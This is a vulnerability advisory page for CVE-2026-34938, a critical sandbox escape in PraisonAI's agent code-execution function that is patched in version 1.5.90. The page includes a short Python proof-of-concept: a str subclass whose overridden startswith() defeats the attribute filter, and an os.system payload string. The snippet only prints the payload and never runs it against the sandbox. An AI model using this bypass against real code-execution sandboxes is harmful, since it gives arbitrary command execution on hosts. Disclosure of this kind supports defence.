Security Vulnerability Report
中文
CVE-2026-34938 CVSS 10.0 CRITICAL

CVE-2026-34938

Published: 2026-04-03 23:17:06
Last Modified: 2026-04-14 18:07:20

Description

PraisonAI is a multi-agent teams system. Prior to version 1.5.90, execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host. This issue has been patched in version 1.5.90.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:praison:praisonaiagents:*:*:*:*:*:*:*:* - VULNERABLE
PraisonAI < 1.5.90

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-34938 # Demonstrates the bypass technique using a str subclass class BypassString(str): """ A string subclass that overrides the startswith method. This is used to deceive the _safe_getattr wrapper in the sandbox. """ def startswith(self, prefix, *args): # Return False to bypass security checks for dangerous attributes return False # Simulate the malicious payload that would be sent to execute_code() # The payload attempts to access restricted attributes/modules malicious_payload = BypassString("__import__('os').system('id')") # In the vulnerable environment, passing this object to the sandbox # would result in the execution of the OS command. print(f"Constructed Bypass Payload: {malicious_payload}") print(f"Payload type: {type(malicious_payload)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34938", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:17:06.170", "lastModified": "2026-04-14T18:07:19.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to version 1.5.90, execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host. This issue has been patched in version 1.5.90."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonaiagents:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.90", "matchCriteriaId": "0CECD474-C348-4AD9-B570-42895741C580"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}